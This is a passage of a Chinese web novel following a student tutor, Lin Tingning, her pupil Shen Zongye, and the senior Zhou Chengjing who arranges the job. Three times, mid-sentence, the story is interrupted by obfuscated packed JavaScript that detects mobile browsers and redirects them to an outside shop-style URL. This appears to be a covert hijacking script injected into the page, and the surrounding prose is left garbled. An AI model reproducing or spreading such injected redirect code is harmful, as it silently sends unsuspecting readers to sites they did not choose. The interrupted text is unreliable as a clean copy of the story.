进门以后他也没有追问过试课费的事。或许最初他同意她进门,也不是因为她提了钱的事情,而是他看到了檐外的雨势,于是让她进门避雨。 所以一开始她问他是不是开始补课,他也只是让她坐下等雨停。 这样说起来,沈纵也其实算是个挺善良的小孩。 她从高三毕业到现在,大大小小接过不少家教。到现在她已经觉得,别说是善良,有时碰到一个正常些的学生,就已经是不错的家教对象了。 只可惜给沈纵也的补课大概没有以后了。 这一天她也过得很累,很快昏睡过去。第二天,是在秦伊的咳嗽声中醒来的。 秦伊还是没躲过感冒,捧着林听宁下床给她倒的热水可怜兮兮的,“听宁,怎么你也淋雨,还做了一晚上家教,一点事都没有,我怎么就这么娇气。” 林听宁抬手捏了捏她的脸,没有说什么。她把租无人机的事解决了,又做了会作业,间隙的时间,给学校兼职网站里几条家教招募信息投了简历。 忙得有些晕头转向的时候,她收到了周承京打来的电话。 “听宁,在宿舍吗?” 林听宁应了一声,周承京问,“现在方便下楼吗?我在你宿舍楼下。” 和周承京相处的时间里,大部分都是周承京像这样来找她。因此林听宁也没有太惊讶,只是很快起身,“麻烦学长等我一下。” 她挂了电话,准备往宿舍外走时,又想起了什么,去阳台把已经晾干的伞一起带下楼。 刚出宿舍大门,林听宁就看到了那辆熟悉的车,和车旁欣长的人影。 她快步走过去,内心的雀悦还是从语调里溢了出来,“周学长。” 周承京转过头,镜片后的眉眼泛起轻微的笑意,“不急,慢点走。” 等她走到他面前,周承京侧身替她拉开车门,“上车吧,我带你去吃午饭。” 周承京带她去了过去常去的一家粤菜私厨,店长满脸堆笑地迎着他们入座。 “学长的实习还顺利吗?” 一路上,周承京关心了不少她的近况。在他点菜的时候,林听宁终于见缝插针地问出一句。 周承京放下菜单,温和地笑了笑,“我一切都挺好的,不用担心我。” 林听宁还没说什么,他便倒了杯茶,推向她,“倒是你,最近有没有按时吃饭?怎么感觉你又瘦了。” 林听宁大一课多又忙兼职的时候,每餐饭几乎都是在路上吃的。也是因为这个,被周承京撞见了一次她边赶路边吃面包片,才有了他们第一次一起吃饭。 林听宁不知道他还记不记得这件事,但还是微微扬了下唇角。一年的时间,她已经学会了这边的习俗,用热茶烫好碗筷,礼尚往来般推给周承京,又把没洗过的那份餐具挪到自己这边,“学长才是。说着什么都好,但看起来完全不是没事的样子。” 她说的夸张了些,但也是见面的第一眼就注意到了周承京眼下明显的黑眼圈。印象里,周承京在学校最忙的时候,都没有这样过。 似乎没想到她会这样说,周承京微愣了愣。林听宁把自己的碗筷也烫好,抬起头认真说,“如果我有什么能帮到学长的地方,还请学长一定要告诉我。” 她其实知道,以她和周承京各方面的差距,对方几乎不会有需要她的时候。但她还是这样说了。 果然,周承京很快笑道,“谢谢听宁的关心。” 这句道谢之后这个话题便结束了。林听宁面上也没作出什么反应,心里的某处却像又落了一道灰。 菜很快由店主亲自上上来了。她继续接着周承京递来的问题,一边回答,一边吃饭。脑海里却在这个时候,突兀地浮现出昨晚沈纵也问的那个问题。 她低头用一勺饭把这个念头咽了下去。吃饭对于她来说一向只是维持生命的必要项目,她很快吃饱了,放下碗筷。 周承京面前的菜并没有怎么动。台风过后,落地窗外的天如水洗般晴朗,他坐在背光一侧,低着头,不知在想什么。 大概是她放下餐具的动作,让他抬起了头,目光相对,周承京温柔地笑了笑。 “听宁,昨天家教的感觉怎么样?” 林听宁想到他会问这个,但没想到他现在才问,仿佛只是一个不重要的事情。 “挺顺利的。”她顿了顿,补充,“他基础有些差,但是找个专业些的老师加强,应该可以跟上国内高一的进度的。” 林听宁想起了什么,侧身从包里拿伞,递给周承京,“对了,昨天下雨,我忘记带伞了,他还借了我一把。能不能麻烦学长帮我还回去?” 周承京视线在那把伞上停留了一会,又看向她,“是沈纵也给你的?” 林听宁想自己已经说过了,但还是点了点头。 周承京有片刻的沉默。他没接林听宁手上的伞,林听宁递了一会,最后还是放在桌面。 “学长?” 周承京抬眸看她。 “看来你们相处得还挺好的。” 他说这话时是面带微笑的,可林听宁直觉地感到,他此刻的情绪并不太对。 林听宁微微皱眉,她想起自己还一直没有问过周承京和沈纵也的关系,而昨天沈纵也是把周承京称作“哥”的。 但她好像从来没有听周承京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004195|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提过自己有什么兄弟姐妹。 是表兄弟吗?林听宁正打算问,便被周承京打断了。 “听宁,你找到新的家教了吗?” 林听宁下意识摇头。 周承京停顿了下。须臾,他继续温声道。 “听宁,你刚刚说,如果有你能帮上忙的地方,可以和你说?” 林听宁微愣,抬头看向他。 一片云遮盖了窗外的阳光,将两人笼罩在同一片阴影之下。周承京双手交叠着,放在桌面,食指轻轻叩着。 “我可不可以拜托你,继续做沈纵也的家教?” 明明只是一件并不困难的请求,他却说得极为缓慢,仿佛还在思考这件事应不应该做。 餐厅内很安静,不知是做了清场还是没有人来,没有其他人在。林听宁不自觉轻轻收拢放在膝盖的手。她想从周承京的神情里知道他的反常是为什么,但他再次看向她时,面上已经不见犹豫。 周承京只是伸手将那把伞,重新推向她那侧,语气一如既往的温柔。 “这把伞,你可以自己去还给他。” …… 周承京给出的待遇很丰厚,应该说,林听宁从来没接过这么大方的家教。 他差不多是按照市面上专业教师的时薪算的,一小时三百元,一次两小时,先按每周六一次来算。因为路程比较远,他还提出会给她每次安排司机接送。 无论是价格还是司机,林听宁都不想接受,但周承京说她如果拒绝,他会加倍直接转给她,言下之意是她只能接受。 那天她回到宿舍时,周承京就已经把费用转进她卡里了,算下来是一个月的钱。 林听宁没想到自己昨天骗沈纵也的话,今天变成真了。 按照安排,她这个周日就要开始正式的第一次家教。没过多久,周承京安排的司机也给她发了信息。 林听宁只觉得仿佛有一层无形的压力笼罩了下来。她很确定昨天沈纵也那表情,是完全不想也不需要家教的。 但周承京帮了她那么多,只让她做这一件事。 林听宁看着短信里自己从未有过的富裕余额,扯了下嘴角。片刻,她叹了口气,转头问还蒙在被子里的秦伊,“你有没有什么想吃的?” 秦伊这会好受些了,用浓浓的鼻音说,“想喝艇仔粥,还想吃肠粉。” 林听宁在周围最贵的一家肠粉店点了外卖,也给自己点了一份。做完这些,她开始根据昨天的印象,准备第二天给沈纵也的补课。 第二天司机准时在学校门口等她。林听宁本就不喜欢坐车,这会也不知道自己是不是心理压力太大,总感觉这不到三十分钟的寂静无声的车程,比之前一个多小时雨里的公交还令她反胃。 车被允许直接开进小区。在那栋别墅门口停下后,林听宁打开车门,还是没忍住回头说了一句。 “今天家教结束您能不用来了,我自己回去就好。” 司机回头看了她一眼,“这个需要和周先生说。” 林听宁“嗯”了声,“我会的。” 她自然地关上车门,边内心祈祷这种程度的糊弄能对司机起作用。车身很快消失在视野中,她抬头看向这个自己不久前才站过的地方,甚至感觉那晚潮湿的空气都还没有完全散去。 她轻轻呼出一口气,走上前,再次敲响门。 和上次一样没有应答。她又耐心地敲了敲。 门把手向顺时针转动了一下,接着,门以一种带着情绪的方式向外猛地推开。 林听宁庆幸自己早有预感,站得离门比较远。 接着,她抬头,对视上门内一脸困倦的少年,努力牵起唇角,用温和的语气说道。 “同学,我又来做家教了。” 5. 第二课 沈纵也站在原地,像是刚睡醒,眼眸微微眯着,过了几秒才开口。 “我说过我不需要了吧。听不懂吗?” 他这话本来说的挺不客气,但大概应该他现在还困着,语调低低的,字与字之间还带了点黏连的感觉,于是听上去几乎一点攻击性都没有。 林听宁微微沉默,然后说,“周学长又给我打了一个月的家教费。” 气氛沉默下来。四目相对,林听宁看着他眼睛,用心平气和的语气说,“这次是真的。” 沈纵也静了下,眼皮微抬。 “…上次是假的?” 林听宁也没想到他还没发现,一时有些搬石头砸自己的脚的感觉。她还没想好怎么圆,少年轻扯了扯唇角,看起来像是气笑了。 他重新握上门把手,眼里的睡意似乎也消散了,语气听起来比刚刚冷硬许多。 “他给你多少都不关我的事,”他说,“收了就收了,别再来烦我。” 接着,他侧身要关上门。林听宁内心咯噔了一下,下意识就抬手抵住了门的外侧。 少年动作一顿,皱眉看向她。林听宁也看出他这会情绪是真有些不耐烦了,先从包里把那把伞拿了出来。 “这把伞还你,”她从门缩小的间隙中把伞递给沈纵也,“谢谢你前天借给我。” 她主要是怕一会真没机会还了。沈纵也垂眸扫了眼那把明显被刻意折叠打理过、但造型仍然显得歪七扭八的伞,最后还是接过了。 林听宁见他收下,心里也放下了块石头。 她来的时候想好了,如果沈纵也和上次一样拒绝她,她也只剩最后一个办法。 利用这个小孩看起来应该会有的同情心。 今天没有下雨,她只能靠自己说了。 眼看沈纵也又要关门,她再一次伸手抵住门的边缘。 “先别关。” 在沈纵也不耐的眼神扫过来以前,她继续说,“沈同学,能不能再给我次试课的机会?” “我以为你也同意了,所以知道能继续给你补课的时候,还挺开心的,”她语速加快了些,“我这段时间准备了好久,这些资料都是为这堂课整理的,我是真的希望能帮到你。” 谎话要真假参半地说。林听宁面不改色心不跳的,边从包里拿出一沓自己准备好的资料,证明似的递向前。 “而且,我真的很需要这份工作来填补生活费。因为我不知道你没同意,所以最近也没有关注别的信息,如果再找新的家教可能还要一段时间。” “所以,你能不能再给我一次上课的机会?”她目光真诚,又接着补充,“如果这次你还不满意,我就真的不来了。” 大门过道的台阶下,女生顶着一副温柔素净的长相,一身规矩的打扮,说话声音也和和气气的,眼神中都透露着直白的真挚。 沈纵也视线却停在她从见到他时就没有放下过的唇角。她唇形长得很漂亮,唇珠明显,上下唇像两片浅红的花瓣。可她却总是用它摆出牵强的表情,就像他第一次见到她时,她脸上那种强扯出来表示友好的微笑一样。 沈纵也其实和她并不熟,他也不知道自己为什么会觉得她此时的和善的笑容很虚假。但他忽然想起来,或许是他那晚见过她真笑起来是什么样。 林听宁只感觉自己保持讨好的笑的表情脸都快僵了。片刻后,她抵着门的手也渐渐收了力,内心仿佛已经猜到了结局,脑海甚至开始思考要怎么和周承京解释了。 就是这时候,她忽然感觉对面握着门把手的力道忽然松了。 她毫无防备,顺着自己的力气前倾差点绊在台阶上摔一下。等她站稳,她抬起头先看到的是一只收回的手,速度之快以至于她甚至怀疑自己是不是出现了错觉。 下一秒,沈纵也的声音在她头顶响起。 “是周承京让你说这些的?” 林听宁有些没反应过来,只下意识否认,“不是。” 少年似是沉默了会。过了两秒,他说了和上次一样的话。 只是这一次语气明显有些烦了,没有一点耐心。 “进来吧。” 林听宁也不知道他怎么又一次改变了心意,但她此刻没时间思考这些,愣了下便很快推开门,进了房子。 她关好门,站在玄关处等沈纵也又给她扔了双没拆封的一次性拖鞋,换好以后,走进客厅。 她第一眼便看见沙发上还有张散开的毛毯。沈纵也刚刚大概是真的在这睡觉,然后被她吵醒了。 补课时间是周承京和她说的,看来他们之间确实没有沟通过。 她撇开这些杂念,想到刚刚开门时沈纵也困倦的神情,转头问,“你还困吗?要不要先睡会?” 毕竟他如果很困的话,也听不进课,影响她补课效果。 沈纵也看向她,眼神仿佛听到什么不可思议的事。 她神情看不出有开玩笑的意思。少年轻轻扯了下唇角,收回视线,“不用,有陌生人在我睡不着。” “……” 他走到沙发边,随手将毛毯折了折搭在旁边,坐下向后靠在沙发背上,眼皮挺沉似的耸撘下。 “开始吧。” 林听宁也坐回了上次的那张沙发。还没讲五分钟,少年就打了三次哈欠。 林听宁抬头看了他一眼。注意到她视线,沈纵也撑着下巴回睨了她一眼,也没什么反应。 她收回视线继续讲。 “所以以圆心为原点建立坐标系,取任意锐角都可以在对称象限找到相应对称点,这就是对称性原理,也是所谓奇变偶不变…上次留给你的课后习题里,第一道就是关于这个知识点的。” 她顿了顿,抬起头,“对了,上次留给你的课后题,你做了吗?” 不需要回答,她很快在余光中看到了桌面一角的一沓试卷,以分毫未动的姿态完完整整地保留着她放在那时的模样。 林听宁沉默了两秒,收回目光。 几乎没有停顿的,她开始接着刚刚那个知识点继续往下讲。 没有什么负面情绪的流露,甚至连一声叹气都没有。可沈纵也分明从空气中感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004196|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一丝不愉快,从身旁人渐渐平直的唇角溢出来。 但她偏偏什么也不说也不表示。沈纵也轻扯唇角,想不说就算,跟他也没什么关系。 他撑着下巴又听了会,视线再次看向林听宁低垂下的不带情绪的眼睛。 过了片刻,他放下手坐直。 林听宁因为他的动静停下,抬起头。沈纵也站起身,抬手摁了摁脖颈。 “休息一下。”他说,“我去倒杯咖啡。” 他语气听上去有点烦。林听宁不知道他又在烦什么,她拿起手机看了眼时间,才讲十分钟不到。 她有些无言,想他喝咖啡也好,免得他真在自己讲课时睡着一头栽在桌子上。她低头继续在家教网站上投简历,等过了一会,她听到身后有类似研磨的声音。 她回过头,看到厨房外的吧台侧,沈纵也在用一台咖啡机。 她不记得上次来的时候有没有这台东西了,但在这空荡荡的房子里,唯一看上去有烟火气的是一台咖啡机,也是挺让人难评价的。因为要做的事太多,咖啡也是林听宁日常生活的必需品,但她纯当提神来用,在网上买一大罐的咖啡粉每天早上冲一杯,跟每天一杯热中药续命一样。 她收回视线,心想这小孩上课不用心,这些倒是挺讲究。她边继续投简历,边在内心自己都不知道吐槽了些什么,过了会,沈纵也放了碟东西在她手边的桌面。 林听宁先闻到的是浓郁的奶香和果味。她视线从手机屏幕上移开看了眼,是一杯奶咖色的东西。 沈纵也自己也拎了一杯,坐回沙发上。他手中的那杯是更大的玻璃杯装着的,冰块浮在拿铁的表面,随着他动作轻晃出声响。 他低头喝了几口,然后把玻璃杯放在桌面,继续刚刚手肘抵着大腿,手掌托着下巴的姿势俯下身。 “继续吧。” 林听宁于是继续讲知识点。这一次,总算没有一个人唱独角戏的感觉,因为几乎每一个知识点结束,沈纵也都会让她停一下,然后说自己没听懂。 她原本还有些不信,怎么能每个都听不明白,但看沈纵也的神情,他又好像是真的没听明白。 她顿了顿,又把知识点掰得更碎地和他讲。讲完以后,她又忍不住问他,“是不是最开始和你讲的那个也没听懂?” 沈纵也托着下巴,抬眸看了她一眼,不轻不重地“嗯”了一声。 林听宁心想,完了,遇上笨蛋了。 但她表面还是不动声色的,垂眸点了点头。她把讲义翻到第一页,边在空白处画下圆又画上坐标,打算和他再讲一次这个知识点。 她自己都没意识到,自己唇角微微扬起的弧度。 天色已经完全暗下,客厅的暖黄色灯光填满了房间。她低下头正准备开始讲的时候,忽然唇角上侧的皮肤传来微凉的触感。 她抬起头,是沈纵也抬手,用手中笔的笔帽部分,轻轻戳了下她脸颊。 少年侧着头,好整以暇地看着她,目光如水面的月亮,眼眸一弯便泛起涟漪。 “姐姐,你笑什么?” 6. 咖啡 林听宁明显感觉自己眉心跳了一下。但她表情还是没什么变化,只是很快反应过来,抬手把沈纵也的笔推开了。 “我哪有笑,”林听宁是真没觉得自己笑了,同时用指节叩了叩试卷,“专心听讲,同学。” 那一点弧度仿佛印证般在她唇角消失了。沈纵也盯了她两秒,随后像是失去了兴趣,目光也重新落回试卷上。 讲课和零碎的提问声重新填满了客厅。林听宁再想起看时间的时候,已经近两小时后了。 这一次补课完整进行了三个小时,她也没想过教沈纵也能让她这么投入,主要是对方给的正反馈太足了,看到他把原本完全不会的题目全部填满,简直有种教会文盲识字的成就感。 讲了这么长时间,她也没有喝水,后知后觉地感到口渴。大概也是神经放松了下来,她余光看到手边有杯喝的就本能地端了起来。 她也是嘴唇碰到瓷杯时才想起,这是沈纵也放在这的那杯看起来像拿铁的东西。林听宁动作一顿,下意识地抬眸,就对视上沈纵也看过来的目光。 沈纵也好像只是视线正好和她碰上,很快便收回,并没什么别的意思。她想这时候再问这杯是不是给她的也有些过于做作了,于是也垂下眼,低头尽量自然地喝了一口。液体没入唇齿间,没有想象中的苦涩,反而十分丝滑,甚至有些果味的清甜。 她还是第一次喝到这样的咖啡,再加上也确实渴了,忍不住多喝了几口,结果最后直接喝完了。放下杯子时,沈纵也也没有抬头,只百无聊赖地撑着下巴边看试卷边转笔。 林听宁低头看了眼自己手边见底的陶瓷杯,想了想,还是缓声道。 “…还挺好喝的。” 沈纵也修长的手指间转动的笔停顿了一下。少年抬起眼睫,手心半遮住的嘴唇微微起合,声音含糊不清的,“是吗?” “嗯,”林听宁点头,想说出一些更具体的评价,但奈何她对咖啡的品味也仅限于此了。 “…挺香的,而且不苦。” 沈纵也似乎是愣了一下。随后,他像是心情很好,就着手撑着下颌的姿势,眉眼舒展,边轻轻弯起唇角。 林听宁第一次见沈纵也就觉得,这个小孩长得很漂亮。这个视角下,少年的侧脸被灯光勾勒出流畅而立体的线条,长睫下内勾外翘的眼眸漆黑又明亮。这样的长相,笑起来的样子,简直像阳光下舒展身体的小狐狸,让人心里都某处也跟着柔软起来。 林听宁不知道他在笑什么,保守地没有再继续发表意见。少年笑完了,才坐直一些,微微靠向沙发垫。 “咖啡味的牛奶,当然不苦。” 意思是她这杯基本就只有牛奶?林听宁又低头看了眼瓷杯,怪不得这么好喝。 她又想到自己一会要说什么,于是也讨好性地跟着牵起嘴角笑了笑。 沈纵也的笑意倒是在她做出这个举动后消失了。她没有太在意,趁着这个话题结束,顺着引入了自己要说的内容。 “今晚讲的内容你还有哪里没听懂吗?” 沈纵也看了她一眼,摇头。 林听宁停顿了一下。她内心本能地感觉到,自己接下来要说的话,本质就是在推销。但脑海中理性成分还是占据了更多,催使她继续说了下去。 “那同学,之后的课你还想继续上吗?”她保持着微笑,“补基础不是一两节课就能解决的事,但你学得很快,我相信如果你把这一个月的课上完,你肯定能有所收获。” 沈纵也抬眸,神情没什么变化。林听宁顿了顿,调整了下推销方式,“或者,是我上课的方式你有哪里不喜欢吗?我也可以改变的,只要你和我说……” “姐姐。” 沈纵也出声打断她。 林听宁抬起头。 少年抬眸,看向她,说。 “我记得你在门口,说的是给你一次试课机会吧。” 林听宁身体微僵。少年话语直白,神色也没有太多情绪。说到底,他们之间一点关系都没有,他完全可以从一开始就拒绝,给她的这两次机会,已经算够体面了。 林听宁一时没有接话。她在内心评估继续劝说下去成功的可能性,最后视线在看到她上次留的那份空白的课后习题后,天平倾斜向了否定的那一端。 她在内心叹了口气,却也同时生起了一种如释重负的感觉。 她点头,“好,我知道了。” 她没有再说什么,开始收拾桌面上的讲义。沈纵也垂眸,看着她越收越快,桌面没一会就变得干干净净,忍不住轻扯了下唇角。 “就这么想走吗?” 林听宁整个人已经放空下来了,完全没听清,“什么?” 少年瞥她一眼,收回视线,声音低低地含糊。 “没。” 林听宁看了他一眼,见他也没什么异常,便低头继续收拾。她这次其实也准备了课后习题,想了想,还是一起放回了包里。 “那我先走了,沈同学。” 沈纵也垂着眼,没接话。林听宁倒也没有指望他会回应,站起身,又看到那叠咖啡杯。 “这个,我拿去洗一下吧。” 毕竟是她用了这套杯具。她的确是想走了,没等沈纵也回答,便端起杯碟向吧台洗手池的方向走。把茶杯里的咖啡渍都洗干净后,她抬头想打开悬置的餐具橱柜放进去,却透过玻璃,看到里面一览无余的空间。 她动作微微顿了顿。整间房子,不知道能不能找出第三套餐具。 这真的是一个未成年小孩自己住的地方吗,她把茶杯倒扣在杯碟上,他的父母去哪了? 这也不是她该操心的事情。林听宁洗完手,重新背上包,走回客厅,“我走了。” 少年闭着眼窝在沙发,依旧没什么响应。林听宁转过身,迈出一步。最后还是停下,转过身,从包里拿出那叠课后习题。 “这份习题,你没事可以做一下。”她补充,“答案网上都有。” “……” 少年终于抬起眼,用极为无语的目光看向她。 “你还不如直接走了,姐姐。” 从别墅出来,那辆轿车已经停在不远处的道路上。林听宁在内心叹了口气,边安慰自己是最后一次,边走上前拉开车门。 “您久等了。” 司机点了点头,发动车子。车身行驶在灯火流连的夜中,林听宁在后排座位低头看着手机,从坐下时便想要和周承京说沈纵也没有同意继续补课的事情,但手指在屏幕悬停了半天,却也不知道该怎么开口。 该怎么说呢,一个帮了她这么多的人,只让她帮忙这一次,她却没有做到? 尽管内心在告诉自己,周承京并没有一定让她做到,这种本身决定权就在他人手上的事情,她自己能做的努力太少。 但真正要发的时候,她却还是开不了口。 今天是周末,路况有些堵塞。司机换了一条路线,林听宁抬起头的时候,恰好看到了窗外经过的南都中学。 又到九月末,南中的桂花开了一片,门外都伸出了不少枝丫。她第一次见到周承京,也是南中桂花开的季节。 那时她一个人来到G市,一个人办好入学和住宿的手续,一个人面对崭新而陌生的生活。忙到根本没有时间注意到什么花草树木,直到周承京第一次带外地生熟悉校园,她走在队伍末端,看着桂花树下温润如玉的少年耐心地和大家讲解,才知道南中的桂花已经种植了十多年,每年九月中就会开满整个校园。 那也是她最初认识周承京。他待人温和面面俱到,完全不像是只大他们两岁的学长。 后来周承京以S大优秀学生的身份回校做经验分享,她也不知哪来的冲动,在会后上前问他一些她现在已经记不清的问题。但她记得周承京看见她的时候,便笑了,说记得她,是看桂花的时候队伍最末尾对花一点兴趣都没有的学妹。 那时的她也没有想过,和周承京的联系能从那时起便一直保持到现在。 南中已经在车后越来越远。她收回视线,最后还是在对话框里打字: 【对不起,学长】 另一边,市中心的高楼,灯光璀璨的宴厅包厢内,周承京一身西装革履,神色却不再有以往的从容,反而显得有些狼狈。 他低着眼坐在座位,稍微调整了下自己的神情,再次抬头,语气温和。 “沈纵也的学校,我已经托人在联系了。至于家教,”他顿了顿,“我也只是想先试试,看……” 坐在主位上的中年男人衣着古雅,面容沉静。他垂眼看着桌面的茶杯,听着周承京的话,始终不露声色,只在这一句后缓缓出声打断。 “试试,让一个大学生去?” 他语气沉缓,听不出情绪,神色也掩在抬起茶杯的动作之中。周承京顿了顿,唇角泛起些许苦涩,“……爸,难道您还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004197|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信我吗?” 周怀山看向他。男人放下茶杯,微微笑了笑。 “承京,你不用和我说这种话。”他语气平静,“当初你接手纵也回国的事情,是怎么答应我的,你自己应当还记得吧。” “我只看结果。”他说,“将近一个月,学校没有定下,家教还是一个才大二的学生来教。你要用这个结果来告诉我,你有用心去做?” 周承京一时没有接话。后背有些泛起凉意,他回避开视线,正想说什么,周怀山便再一次打断他。 “你是不是要告诉我,最近在忙公司的事情?”他语气依旧温和,目光却毫无暖意,“那你当初就不该答应。” “而且,你到底在忙什么?”周怀山问,“像今天这样,忙着跟远观集团董事长的女儿约会?” 周承京下意识抬起头。周怀山脸上的笑意已经彻底没有了,他不自觉攥紧手,“爸,不是你想的那样,我是想……” 周怀山淡声,“无论你怎么想,我都可以告诉你,那是一条最愚蠢的路。” 周承京再次被打断,唇抿直成线。他不知道周怀山为什么没有看到他做了什么便否定自己,又听到他说。 “你太急于求成,只会适得其反。”男人道,“你现在只要把你弟弟学习的事情打理好,就够了。” 周承京在桌下的手终于攥成拳。 片刻,他松开手,抬起头,牵强地摆出笑,“爸,我知道了。” “他的学校,我这个月一定安排好。”他态度重新变得温和,“还有家教,那是我认识的一个同学,已经做这行很久了,我想年龄相近,他也更能听得进去。但是弟弟不满意的话,我就把她换掉。” 他顿了顿,却还是忍不住说,“可是远观那边,陆茉她……” 他话音未落,包厢的房门便响起敲门声。 咚咚两下,干脆利落,仿佛对门内的氛围毫无察觉。 “我能进了吗?” 干净冷淡的少年嗓音响起。 周怀山的目光,却稍微缓和了几分,“进吧。” 周承京愣了下,下一秒不敢置信地看向门口。门把手被按下,房门打开一小片区域,少年站在门边,穿着连帽衫和颇有设计感的长裤,单手揣兜,模样随性。 他先看向周怀山,语气随意地叫了声,“爸。” 而后看向周承京,垂下眼,轻提了提唇角,才说。 “哥。” 周承京的手再次攥成拳。周怀山笑着说,“早就叫你一起来了。还没吃饭吧?正好,承京也在,你们两兄弟……” “不用了。”沈纵也打断他,边抬手揉了揉脖颈,“我吃过了,刚上完课,现在只想回去睡觉。” “因为爸让我来一趟,我才过来的。但好像没什么事,我就先走了。”他垂眼,“不过,哥。” 周承京神经瞬间绷直,几乎是怒视地看向他。 沈纵也和他对视上,扬了下唇角。 “刚刚有件事,你好像说的不太对吧。”他说,“我没有对这个家教不满意啊。” 包厢内一时静默下。周承京不知道他在耍什么花招,沈纵也却微微弯了弯眼。 “我对这个家教挺满意的,不用换了。”他对周怀山说,又垂眸,再次看向周承京。 “你把老师的微信给我吧,谢谢哥。” - 林听宁最后还是没有和周承京说明,只是给周承京留了信息,让他有空给自己回个电话。她想在电话里再告诉他更清楚些,也能顺便问问自己还能帮上什么忙。 回到宿舍,洗漱完后,她和组员讨论了下作业分工。因为秦伊的病还没好,暂时由她跟另外两个组员负责拍摄的部分,分工好一切,她才再次打开手机,看到周承京发来的两条信息。 【听宁,他答应了?你怎么没有告诉我?】 另一条隔了一段时间才发。 【不好意思听宁,今晚情绪不太好。已经很晚了,你也要休息了吧?我明天再和你沟通,晚安。】 林听宁不明所以,她翻到自己发的那条,的确是一条道歉的信息。一头雾水的时候,她又看到信息栏处躺着一条刚刚发送不久的好友申请。 她颇为茫然地点开来看,就看到了昵称为沈纵也,头像是单手抱着一只布偶猫的人,发来的两条申请备注: 【姐姐,】 【surprise : )】 7. 桂花(修) 林听宁很快通过了他的好友申请。她下意识打了一个问号,想了想还是把话打完整了。 【沈同学你好,学长说你同意了,请问是怎么回事?】 她守在手机面前等了几分钟,等到了对方回了一条信息。 沈纵也:【姐姐,】 林听宁看着那两个字,耐心等着下一条。但又过了两分钟,还是没有后续。 她这次是真的忍不住直接发了一个问号过去。片刻后,‘对方正在输入’终于重新出现在顶端。 沈纵也:【你到宿舍了吗?】 林听宁顿时有种语塞的感觉。她盯着那两条莫名其妙的信息,蓦地想起他发来的好友申请,又退出去看。 果然是一模一样的断句。林听宁想,他手机键盘坏了? 林听宁想了想,给他回,【很早就到了。你手机坏了吗?不方便打字可以发语音。】 她又耐心等待了一会。过了几秒,沈纵也给她回复。 沈纵也:【没坏】 沈纵也:【我很困】 林听宁看着他的回复,简直有种回到高中开始做阅读理解的感觉。她努力从上下文中找出对方话语之间的关联,最后尝试理解,他应该是在说这样发信息的方式,是因为太困了,并且很大概率还是半梦半醒的状态,所以总是只打了一半。 林听宁一时也不知道该说什么,她补课的时候,他不是灌了一大杯咖啡吗?难道对他来说跟喝水一样。而且人真的可以困成这样还发消息吗?她有些无法理解。 但她最后还是从中找出了最重要的问题,给他发,【你同意让我继续补课了吗?】 沈纵也回了一条“嗯”的拼音。 林听宁看着那两个字母,一时有些愣住。片刻,她回过神,迟疑地在对话框里打,【你不是说只是给我一次试课】 顿了顿,她又把这句话回删掉,继续打,【那下次是继续试课,还是算正式上课】 林听宁低头看了会,又把这句也全部删掉。最后,她只在对话框里打下,【好,谢谢你,你睡觉吧。】 她想起周承京晚上给她发消息时,总会加上的一个道别语,于是也在末尾加上。 LTN:【好,谢谢你,你睡觉吧。晚安】 她按了发送。文字出现在聊天窗口的一刻,她的心也像是才反应过来般剧烈跳动起来。 所以,她算是完成周承京交代给她的事情了?并且还给自己接下来一个月找到了一份薪酬十分可观的家教? 她低头平复了一下心情,想了想,还是找出周承京的电话,难得地主动拨打了过去。 她走到宿舍阳台,在内心边飞快地组织着措辞。忙音响了一秒,两秒,到最后,周承京却没有接听。 她垂下眼,放下手机,退回到两人的聊天界面。 周承京和她说的是今晚情绪不好,可她并不知道原因。 但,至少他主动和她说了自己心情不好,这也是之前没有过的。林听宁想,况且他说了明天会联系她,她也不应该想太多。 这几天,室外的气温又高了起来。燥热的夜晚,她的心情却像被浇了一盆凉水,慢慢地平静下来。 她又想到,自己也是太冲动,对周承京来说,大概也不是多大的事情,不然怎么会交给她来做。 宿舍已经熄了灯,她回到室内,去洗手间洗了把脸,便上床睡觉。第二天是约好和另外两个组员拍摄的时间,她带上无人机出门,调试好设备后,另外两个男组员才姗姗来迟。 到了大学,班上的人彼此不认识是常态。这门课的小组又是老师随机分配的,到现在,林听宁连他们的名字都没去记。 于是两个人来了之后,她也只是和他们说,“无人机这部分我来拍吧,你们负责地摄部分。” 两个人并不乐意,“地摄要跑来跑去好累,天还这么热。” “而且无人机我们也交了钱的,我也想玩一下。” 林听宁听他们说完,便把操纵手柄递过去,“那你们负责无人机,我来拍地摄。” 两个男生相视了一眼,最后同意了。 一整个白天,林听宁从S大的南门拍摄到北门。这本来应该是两个人的活,但她也习惯一个人做事,效率反而比合作更高。 